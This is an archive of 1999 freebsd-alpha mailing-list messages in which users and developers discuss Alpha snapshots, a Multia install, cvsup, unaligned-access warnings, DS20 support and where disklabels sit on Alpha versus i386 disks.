From owner-freebsd-alpha Sun Mar 28 2:44:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 5788514E4D for ; Sun, 28 Mar 1999 02:44:40 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id LAA10344; Sun, 28 Mar 1999 11:44:34 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 28 Mar 1999 11:44:34 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" Cc: alpha@freebsd.org Subject: Re: New 3.1-STABLE and 4.0-CURRENT alpha snapshots on ftp.freebsd.org In-Reply-To: <33759.922568996@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 27 Mar 1999, Jordan K. Hubbard wrote: > ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha/... > > Come and get 'em! Thanks! -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Mar 28 16:56:47 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id 9B934153DA for ; Sun, 28 Mar 1999 16:56:45 -0800 (PST) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id ; Sun, 28 Mar 1999 18:54:46 -0600 Message-ID: <50C732FEDE87D211954300A024786203A65D@archeron.good.com> From: Mark Gooderum To: "'freebsd-alpha@freebsd.org'" Subject: RE: Install on Multia Problems (SUCCESS) Date: Sun, 28 Mar 1999 18:54:03 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks to the helpful response from everyone. I was successful with an FTP install, although the process was a little odd. I had to boot with a serial console using the 4.0 snapshot (I used the latest one). If I boot with the "graphics" (real) console, 4.0 seems to not take any keyboard input when it gets to the terminal type prompt. By booting with the serial console, I was able to use something with VT100 emulation as well which solved my terminal oddnesses and let me get installed. In general, the syscons driver still doesn't seem quite right. The Multia comes up with a 48 line by 132 column display. Even with sttying the right size, the terminal emulation in even VI seems off, VI always has the cursor off by one and the screen doesn't update right except w/CTRL-L. Haven't gotten around to getting X and everything else configured, but it's up. Although now I'm intrigued...I'm labeled with a FreeBSD label. The Alpha Kernel seems to support FDISK labels just fine, just not the SRM console load code. So I'm curious if the the 2nd or 3rd level boot block could be put on a FAT partition on an FDISKed disk (ala MILO and Linux) and FreeBSD booted that way using ARC instead of SRM. This would allow multi-booting with Linux or NT similar to a PC, it would also allow a hard disk based media install as well. Hmmm. -- Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Mar 28 19:44:19 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from brain.sma.uq.edu.au (brain.sma.uq.edu.au [130.102.41.66]) by hub.freebsd.org (Postfix) with ESMTP id 6A08D15362 for ; Sun, 28 Mar 1999 19:44:10 -0800 (PST) (envelope-from talbotn@sportsmedicine.com.au) Received: from localhost (talbotn@localhost) by brain.sma.uq.edu.au (8.8.7/8.8.7) with SMTP id NAA04963 for ; Mon, 29 Mar 1999 13:15:23 +1000 (EST) (envelope-from talbotn@sportsmedicine.com.au) Date: Mon, 29 Mar 1999 13:15:22 +1000 (EST) From: Talbot Neil X-Sender: talbotn@brain.sma.uq.edu.au To: freebsd-alpha@FreeBSD.ORG Subject: Cvsup Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org hi all. I am a newby to cvsup anyway's but i was wondering what one had to do to cvsup up to 3.1 stable for the alpha. would anyone be so kind as to provide me with some help???? Talbot NEIL Systems Administrator | talbotn@sma.uq.edu.au | +61 4 1220 4365 Sports Medicine Australia | talbotn@sportsmedicine.com.au | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Mar 29 0:26: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 4CC3314E47 for ; Mon, 29 Mar 1999 00:26:06 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA12420; Mon, 29 Mar 1999 09:26:27 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 29 Mar 1999 09:26:27 +0100 (BST) From: Doug Rabson To: Mark Gooderum Cc: "'freebsd-alpha@freebsd.org'" Subject: RE: Install on Multia Problems (SUCCESS) In-Reply-To: <50C732FEDE87D211954300A024786203A65D@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 28 Mar 1999, Mark Gooderum wrote: > Thanks to the helpful response from everyone. I was successful with an FTP > install, although the process was a little odd. > > I had to boot with a serial console using the 4.0 snapshot (I used the > latest one). If I boot with the "graphics" (real) console, 4.0 seems to not > take any keyboard input when it gets to the terminal type prompt. > > By booting with the serial console, I was able to use something with VT100 > emulation as well which solved my terminal oddnesses and let me get > installed. In general, the syscons driver still doesn't seem quite right. > The Multia comes up with a 48 line by 132 column display. Even with sttying > the right size, the terminal emulation in even VI seems off, VI always has > the cursor off by one and the screen doesn't update right except w/CTRL-L. > > Haven't gotten around to getting X and everything else configured, but it's > up. > > Although now I'm intrigued...I'm labeled with a FreeBSD label. The Alpha > Kernel seems to support FDISK labels just fine, just not the SRM console > load code. So I'm curious if the the 2nd or 3rd level boot block could be > put on a FAT partition on an FDISKed disk (ala MILO and Linux) and FreeBSD > booted that way using ARC instead of SRM. This would allow multi-booting > with Linux or NT similar to a PC, it would also allow a hard disk based > media install as well. Hmmm. Unfortunately, the FDISK and SRM data structures overlap in the first disk block. It isn't possible to make a disk bootable with SRM without corrupting the FDISK partition table. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Mar 29 1:39:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from server.cm.nctu.edu.tw (server.cm.nctu.edu.tw [140.113.13.1]) by hub.freebsd.org (Postfix) with ESMTP id B16FA14ECF for ; Mon, 29 Mar 1999 01:35:38 -0800 (PST) (envelope-from cppwu@server.cm.nctu.edu.tw) Received: (from cppwu@localhost) by server.cm.nctu.edu.tw (8.9.1/8.9.1) id RAA07114 for freebsd-alpha@FreeBSD.ORG; Mon, 29 Mar 1999 17:33:44 +0800 (CST) From: Wu Chih-pin Message-Id: <199903290933.RAA07114@server.cm.nctu.edu.tw> Subject: subscribe To: freebsd-alpha@FreeBSD.ORG Date: Mon, 29 Mar 1999 17:33:43 +0800 (CST) X-Mailer: ELM [version 2.4 PL24 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Mar 29 5:17: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 670A415808 for ; Mon, 29 Mar 1999 05:16:58 -0800 (PST) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 52173 invoked from network); 29 Mar 1999 13:16:38 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 29 Mar 1999 13:16:38 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 733F42DAAE for ; Mon, 29 Mar 1999 22:16:38 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id WAA49154; Mon, 29 Mar 1999 22:16:37 +0900 (JST) Date: Mon, 29 Mar 1999 22:16:36 +0900 Message-ID: <14079.32052.192353.54559H@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: freebsd-alpha@freebsd.org Subject: nmbclusters on alpha User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX; Mon, 29 Mar 1999 09:36:11 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.1/8.9.1) with ESMTP id JAA25669; Mon, 29 Mar 1999 09:35:51 -0800 (PST) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.2/8.9.1) id JAA15479; Mon, 29 Mar 1999 09:35:50 -0800 (PST) (envelope-from jdp@polstra.com) Date: Mon, 29 Mar 1999 09:35:50 -0800 (PST) Message-Id: <199903291735.JAA15479@vashon.polstra.com> To: talbotn@sportsmedicine.com.au Subject: Re: Cvsup In-Reply-To: Organization: Polstra & Co., Seattle, WA Cc: alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In article , Talbot Neil wrote: > > I am a newby to cvsup anyway's but i was wondering what one had to > do to cvsup up to 3.1 stable for the alpha. You don't have to do anything special for the Alpha, because the source code is the same for all architectures. Just read the tutorial in the FreeBSD Handbook, the FAQ at , the examples in "/usr/share/examples/cvsup", and the CVSup man pages. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-interest is the aphrodisiac of belief." -- James V. DeLong To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Mar 30 15:58:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from brain.sma.uq.edu.au (brain.sma.uq.edu.au [130.102.41.66]) by hub.freebsd.org (Postfix) with ESMTP id C571014F23 for ; Tue, 30 Mar 1999 15:58:51 -0800 (PST) (envelope-from talbotn@sportsmedicine.com.au) Received: from bettymae (hmmknowl.staff.uq.edu.au [172.22.13.53]) by brain.sma.uq.edu.au (8.8.7/8.8.7) with SMTP id JAA09253 for ; Wed, 31 Mar 1999 09:28:56 +1000 (EST) (envelope-from talbotn@sportsmedicine.com.au) Message-Id: <4.1.19990326061201.00926ec0@130.102.41.66> X-Sender: talbotn@130.102.41.66 (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Fri, 26 Mar 1999 06:14:29 +1000 To: freebsd-alpha@freebsd.org From: Talbot NEIL Subject: Cvsup Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_2493581==_.ALT" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --=====================_2493581==_.ALT Content-Type: text/plain; charset="us-ascii" ok guys, I am not a newby but i can't seem to be able to get cvsup to work on FreeBSD/alpha 3.1-RELEASE so that i can cvsup up to stable. Would anyone be knod enough to give me a step-by-step walk through ????? Thanks in advance Talbot NEIL Systems Administrator | talbotn@sma.uq.edu.au | +61 4 1220 4365 Sports Medicine Australia | talbotn@sportsmedicine.com.au | --=====================_2493581==_.ALT Content-Type: text/html; charset="us-ascii"
ok guys,

        I am not a newby but i can't seem to be able to get cvsup to work on
FreeBSD/alpha 3.1-RELEASE so that i can cvsup up to stable.

Would anyone be knod enough to give me a step-by-step walk through ?????

Thanks in advance


Talbot NEIL
Systems Administrator      | talbotn@sma.uq.edu.au         | +61 4 1220 4365
Sports Medicine Australia  | talbotn@sportsmedicine.com.au |
--=====================_2493581==_.ALT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 2:45:25 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from brain.sma.uq.edu.au (brain.sma.uq.edu.au [130.102.41.66]) by hub.freebsd.org (Postfix) with ESMTP id 6ECB1151B4 for ; Wed, 31 Mar 1999 02:45:16 -0800 (PST) (envelope-from talbotn@sportsmedicine.com.au) Received: from bettymae (hmmknowl.staff.uq.edu.au [172.22.13.53]) by brain.sma.uq.edu.au (8.8.7/8.8.7) with SMTP id UAA10990 for ; Wed, 31 Mar 1999 20:15:07 +1000 (EST) (envelope-from talbotn@sportsmedicine.com.au) Message-Id: <4.1.19990326092415.00926980@130.102.41.66> X-Sender: talbotn@130.102.41.66 (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Fri, 26 Mar 1999 09:25:13 +1000 To: freebsd-alpha@freebsd.org From: Talbot NEIL Subject: unaligned access Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_11017711==_.ALT" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --=====================_11017711==_.ALT Content-Type: text/plain; charset="us-ascii" does this mean anything to anyone ???? pid 30947 (newaliases): unaligned access: va=0x16054d4b9 pc=0x12002498c ra=0x12002493c op=ldl Talbot NEIL Systems Administrator | talbotn@sma.uq.edu.au | +61 4 1220 4365 Sports Medicine Australia | talbotn@sportsmedicine.com.au | --=====================_11017711==_.ALT Content-Type: text/html; charset="us-ascii"
does this mean anything to anyone ????

pid 30947 (newaliases): unaligned access: va=0x16054d4b9 pc=0x12002498c ra=0x12002493c op=ldl

Talbot NEIL
Systems Administrator      | talbotn@sma.uq.edu.au         | +61 4 1220 4365
Sports Medicine Australia  | talbotn@sportsmedicine.com.au |
--=====================_11017711==_.ALT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 12:37:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 61ECF14E06 for ; Wed, 31 Mar 1999 12:37:55 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id VAA19669; Wed, 31 Mar 1999 21:38:43 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 31 Mar 1999 21:38:43 +0100 (BST) From: Doug Rabson To: Talbot NEIL Cc: freebsd-alpha@freebsd.org Subject: Re: unaligned access In-Reply-To: <4.1.19990326092415.00926980@130.102.41.66> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 26 Mar 1999, Talbot NEIL wrote: > > does this mean anything to anyone ???? > > pid 30947 (newaliases): unaligned access: va=0x16054d4b9 pc=0x12002498c > ra=0x12002493c op=ldl Its probable harmless. It means that the program attempted to read from an unaligned address and the kernel was forced to emulate the instruction. The program will get the right data, it just takes a bit longer... -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 13:18: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from nomis.simon-shapiro.org (nomis.simon-shapiro.org [209.86.126.163]) by hub.freebsd.org (Postfix) with SMTP id 0E41D15CA4 for ; Wed, 31 Mar 1999 13:17:59 -0800 (PST) (envelope-from shimon@simon-shapiro.org) Received: (qmail 46539 invoked by uid 1000); 31 Mar 1999 21:20:51 -0000 From: Simon Shapiro Reply-To: shimon@Simon-Shapiro.ORG Organization: The Simon Shapiro Foundation To: freebsd-alpha@freebsd.org Subject: DS20 Support Date: Wed, 31 Mar 1999 16:19:47 -0500 X-Mailer: KMail [version 1.0.17] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <99033116205103.46299@nomis.simon-shapiro.org> Content-Transfer-Encoding: 8bit X-KMail-Mark: Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org As of kernel 4.0-19990326, this system (type 34) is not supported. Any known reason, or just a new system type number. -- Sincerely, Simon Shapiro Research Fellow ShapiroS@MindSpring.com MindSpring Enterprises, Inc. 404.815.0770 ext. 2057 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 13:23:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 5BFF214DCE for ; Wed, 31 Mar 1999 13:23:32 -0800 (PST) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id NAA04967; Wed, 31 Mar 1999 13:22:47 -0800 Date: Wed, 31 Mar 1999 13:22:47 -0800 (PST) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Simon Shapiro Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: DS20 Support In-Reply-To: <99033116205103.46299@nomis.simon-shapiro.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org new type. On Wed, 31 Mar 1999, Simon Shapiro wrote: > > As of kernel 4.0-19990326, this system (type 34) is not supported. > Any known reason, or just a new system type number. > > -- > > Sincerely, > > Simon Shapiro > Research Fellow ShapiroS@MindSpring.com > MindSpring Enterprises, Inc. 404.815.0770 ext. 2057 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 13:37:46 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 96CC614C25 for ; Wed, 31 Mar 1999 13:37:06 -0800 (PST) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id QAA15518; Wed, 31 Mar 1999 16:36:46 -0500 (EST) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id QAA67184; Wed, 31 Mar 1999 16:36:33 -0500 (EST) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 31 Mar 1999 16:36:33 -0500 (EST) To: shimon@Simon-Shapiro.ORG Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: DS20 Support In-Reply-To: <99033116205103.46299@nomis.simon-shapiro.org> References: <99033116205103.46299@nomis.simon-shapiro.org> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14082.37882.228618.1942@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Simon Shapiro writes: > > As of kernel 4.0-19990326, this system (type 34) is not supported. > Any known reason, or just a new system type number. > A new system number. Its closely related to the XP1000 (Monet) workstation. In fact, we just received some monets today & I've just started in on getting FreeBSD/alpha running on these. I'm going to have to hack around some limitations in the bus code (no support yet for multiple hoses), and I'm rather swamped with other things, so it may take longer than I'd like to get this done. At any rate, once the xp1000 works, I might appreciate it if you could test-boot some kernels for me on your DS20. Cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 14: 9:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2B3041512E for ; Wed, 31 Mar 1999 14:09:43 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id XAA19808; Wed, 31 Mar 1999 23:10:27 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 31 Mar 1999 23:10:27 +0100 (BST) From: Doug Rabson To: Simon Shapiro Cc: freebsd-alpha@freebsd.org Subject: Re: DS20 Support In-Reply-To: <99033116205103.46299@nomis.simon-shapiro.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 31 Mar 1999, Simon Shapiro wrote: > > As of kernel 4.0-19990326, this system (type 34) is not supported. > Any known reason, or just a new system type number. Andrew Gallatin is working on XP1000 support which will be easy to adapt to the DS20 if either of us gets access to a machine. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Mar 31 17: 2:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from front6.grolier.fr (front6.grolier.fr [194.158.96.56]) by hub.freebsd.org (Postfix) with ESMTP id E02E814DB1 for ; Wed, 31 Mar 1999 17:02:29 -0800 (PST) (envelope-from stijanic@club-internet.fr) Received: from club-internet.fr (ppp-168-218.villette.club-internet.fr [195.36.168.218]) by front6.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id DAA26339 for ; Thu, 1 Apr 1999 03:02:09 +0200 (MET DST) Message-ID: <3702C517.A5A4EF0A@club-internet.fr> Date: Thu, 01 Apr 1999 03:00:07 +0200 From: "Srdjan M. Tijanic" X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 Cc: freebsd-alpha@FreeBSD.ORG Subject: (no subject) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org unsubscribe freebsd-alpha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 2 10:49: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 38C3B14DFE for ; Fri, 2 Apr 1999 10:49:04 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.1/8.9.1) with ESMTP id KAA00742; Fri, 2 Apr 1999 10:48:43 -0800 (PST) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.2/8.9.1) id KAA84793; Fri, 2 Apr 1999 10:48:42 -0800 (PST) (envelope-from jdp@polstra.com) Date: Fri, 2 Apr 1999 10:48:42 -0800 (PST) Message-Id: <199904021848.KAA84793@vashon.polstra.com> To: talbotn@sportsmedicine.com.au Subject: Re: Cvsup In-Reply-To: Organization: Polstra & Co., Seattle, WA Cc: alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In article , Talbot Neil wrote: > > I am a newby to cvsup anyway's but i was wondering what one had to > do to cvsup up to 3.1 stable for the alpha. There are resources available to help with this: http://www.freebsd.org/handbook/cvsup.html (Tutorial) /usr/share/examples/cvsup/* (Example supfiles) http://www.polstra.com/projects/freeware/CVSup/ (Home page with FAQ) ftp://ftp.freebsd.org/pub/FreeBSD/development/CVSup/cvsupit.tgz (Helper kit) -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-interest is the aphrodisiac of belief." -- James V. DeLong To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 3 0:35:42 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from nomis.simon-shapiro.org (nomis.simon-shapiro.org [209.86.126.163]) by hub.freebsd.org (Postfix) with SMTP id 0BDC6152E6 for ; Sat, 3 Apr 1999 00:34:56 -0800 (PST) (envelope-from shimon@simon-shapiro.org) Received: (qmail 24289 invoked by uid 1000); 3 Apr 1999 03:09:49 -0000 From: Simon Shapiro Reply-To: shimon@Simon-Shapiro.ORG Organization: The Simon Shapiro Foundation To: freebsd-alpha@freebsd.org Subject: disklabel Date: Fri, 2 Apr 1999 22:05:47 -0500 X-Mailer: KMail [version 1.0.17] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <99040222094909.22286@nomis.simon-shapiro.org> Content-Transfer-Encoding: 8bit X-KMail-Mark: Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is it my imagination or lack of attention, or a problem? It appears that if I disklabel a drive on a PC, the label will not be visible on an Alpha? Why do that? Linux fdisk (on the alpha) is a bit broken, so I thought to disklabel on a PC and move the disks. No cigar. So, either this is the case, or the two are so incompatible that they write/read totally different areas on the disk. BTW, Linux thinks that there is partition 4 on the disks. fdisk on the FreeBSD-i386 side confirms that. Yes, I followed the handbook guide and wiped out the first megabyte of /dev/da16, then disklable -Br, etc. No cigar. -- Sincerely, Simon Shapiro Research Fellow ShapiroS@MindSpring.com MindSpring Enterprises, Inc. 404.815.0770 ext. 2057 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 3 1:32:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id A74FA14F2A for ; Sat, 3 Apr 1999 01:32:17 -0800 (PST) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA70508; Sat, 3 Apr 1999 10:31:55 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 3 Apr 1999 10:31:55 +0100 (BST) From: Doug Rabson To: Simon Shapiro Cc: freebsd-alpha@freebsd.org Subject: Re: disklabel In-Reply-To: <99040222094909.22286@nomis.simon-shapiro.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 2 Apr 1999, Simon Shapiro wrote: > Is it my imagination or lack of attention, or a problem? > > It appears that if I disklabel a drive on a PC, the label will not be > visible on an Alpha? > > Why do that? Linux fdisk (on the alpha) is a bit broken, so I thought > to disklabel on a PC and move the disks. No cigar. > > So, either this is the case, or the two are so incompatible that they > write/read totally different areas on the disk. > > BTW, Linux thinks that there is partition 4 on the disks. fdisk on the > FreeBSD-i386 side confirms that. > > Yes, I followed the handbook guide and wiped out the first megabyte of > /dev/da16, then disklable -Br, etc. No cigar. The disklabel lives in different places on the two architectures. For i386, it is at block 1, offset 0 and for alpha it is at block 0, offset 64. This is mainly for compatibility with OSF1 and NetBSD but it makes some kind of sense since the first block isn't cluttered up with executable code on the alpha. To add to the fun, disklabel -Br does completely different things on the alpha (like installing alpha executables instead of i386 ones...). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 3 12: 1:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from nomis.simon-shapiro.org (nomis.simon-shapiro.org [209.86.126.163]) by hub.freebsd.org (Postfix) with SMTP id 9F2F114C34 for ; Sat, 3 Apr 1999 12:01:42 -0800 (PST) (envelope-from shimon@simon-shapiro.org) Received: (qmail 75622 invoked by uid 1000); 3 Apr 1999 20:03:15 -0000 From: Simon Shapiro Reply-To: shimon@Simon-Shapiro.ORG Organization: The Simon Shapiro Foundation To: Doug Rabson Subject: Re: disklabel Date: Sat, 3 Apr 1999 15:02:16 -0500 X-Mailer: KMail [version 1.0.17] Content-Type: text/plain Cc: 